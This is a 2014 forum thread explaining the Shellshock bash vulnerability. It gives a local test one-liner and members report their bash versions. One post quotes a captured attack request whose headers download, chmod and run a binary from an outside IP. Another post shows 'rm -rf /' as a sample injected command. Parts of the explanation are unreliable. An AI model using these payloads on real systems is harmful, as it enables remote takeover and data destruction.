SHELLSHOCK: Macs, Linux, and Ubuntu face SEVERE security threats

[Reza 0]

Recently, a bunch of headlines have been made in the computing community as a MAJOR security flaw in the bash shell was discovered. This shell interacts with the computer via the command promt or terminal (depending on your OS). To simplify, it leaves your computer, servers, and webpages vulnerable to attacks, because it allows for an attacker to insert code into the function. This vulnerability currently exists on Mac OS X, Linux, and Ubuntu, as well as any UNIX system. 

 

To test if you are vulnerable, open terminal and paste the following code:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

One of the following results will be spit out:

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Or:

vulnerable
this is a test

If you see the SECOND result, your computer is vulnerable to attacks. How?

Let's go back to the following code:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

See the bolded part ( which is ( ) { :;} )? That allows for an attacker to insert code instead of setting X equal to something, it creates a new command for your computer to run. What's the difference? When you define X, it stores it as a file. When you define a command, the computer will execute it in the background, without you knowing.

 

 

 

 

See the problem?

Anyone utilizes remote code execution will be able to crash servers, mine data, or insert viruses, keyloggers, and other executable files into your computer. Certain Windows shells are also affected.

 

 

Want to know the worst part?

This has been around for 25+ YEARS.

That's going to be a LOT of patching.

In addition, guess what?

Almost 60% of all web servers run on Apache (which uses the bash shell). 

Apache has been the most popular web server since 1996.

That means all data sent via the bash shell is now more vulnerable and accessible to those wishing to brute-force it, or access the server's key. 

 

 

If you want to patch your bash shell to the latest version, post below or feel free to Google it!

However, you will need XCode for Mac.

 

 

TLDR; A Heartbleed 2.0 is happening as we speak.

 

 

Sources: 

http://mac-how-to.wonderhowto.com/how-to/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x-0157606/

http://w3techs.com/technologies/details/ws-apache/all/all

http://news.netcraft.com/archives/2014/04/02/april-2014-web-server-survey.html

http://trends.builtwith.com/Web-Server/Apache

 

 

 

A simple video on it:

http://www.youtube.com/watch?v=aKShnpOXqn0

[Reza 0]

FIRST SCRIPT FOUND IN THE WILD:

https://gist.github.com/anonymous/929d622f3b36b00c0be1

GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
 
$ file nginx 
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped
 
$ md5sum nginx 
5924bcc045bb7039f55c6ce29234e29a  nginx
 
$ sha256sum nginx 
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489  nginx
 
Looking at string variables, it appears to be a kernel exploit with a CnC component.
- found by @yinettesys

Source: https://twitter.com/yinettesys/status/515012126268604416

 

 

 

 

 

 

Guesses weak passwords and logins off of servers (such as admin, root, 123456, etc.).

There are rumors of multiple floating around.

If found to be more advanced, many companies are in danger of compromised information.

 

Sites in danger:

Baidu.com
Wikipedia.org
Weibo.com
Ask.com
Paypal.com
Apple.com
Go.com
Bbc.co.uk
Alibaba.com
Huffingtonpost.com

iCloud.com

[Blake 7,385]

Sh*t, I got the second result. :dead:

[Reza 0]

Sh*t, I got the second result. :dead:

 

What bash shell version do you have?

 

Put this into terminal:

bash --version

[CHROMATICA 2020 477]

I got the second one. 

 

 

So... what can I do about it  :cry:

[Reza 0]

I got the second one. 

 

 

So... what can I do about it  :cry:

 

We can update your shell version! It should TEMPORARILY fix a few bugs until the full source code is debugged.

However, I need to know a few things first.

Do you have XCode?

[Blake 7,385]

 

What bash shell version do you have?

 

Put this into terminal:

bash --version

I got this.

 

GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)

Copyright © 2007 Free Software Foundation, Inc.

[Duella Dvil 11,573]

wow....this sucks... I wish i knew what this even meant :nooo:

[CHROMATICA 2020 477]

I got this.

 

GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)

Copyright © 2007 Free Software Foundation, Inc.

Same. 

[Reza 0]

I got this.

 

GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)

Copyright © 2007 Free Software Foundation, Inc.

 

Ok, so we just need to install the newer version.

Do you have XCode?

[Blake 7,385]

Ok, so we just need to install the newer version.

Do you have XCode?

No I don't have XCode. :/

[ByeBye49 161]

 

[Reza 0]

wow....this sucks... I wish i knew what this even meant :nooo:

 

Let me explain it to you:

If you connect or use a program that uses the bash shell (a shell simply talks between the computer and a program), then people can freely insert things like viruses onto your computer without you knowing. In fact, they can deleted all the contents of your computer by simply slipping this into the code:

rm -rf /

This would erase your entire hard drive or SSD drive.

No questions asked.

No I don't have XCode. :/

 

It's free, but it'll take a while to download and do you have previous experience with UNIX? :(

[CHROMATICA 2020 477]

Good thing I don't have many private things on my mac since I got it a couple of weeks ago. 

 

I'm still worried tho

[Reza 0]

Good thing I don't have many private things on my mac since I got it a couple of weeks ago. 

 

I'm still worried tho

 

If you've input your password into anything, then yes, you should be. 

Bash servers are currently vulnerable and many sites will be 404'd or 403'd until they patch it.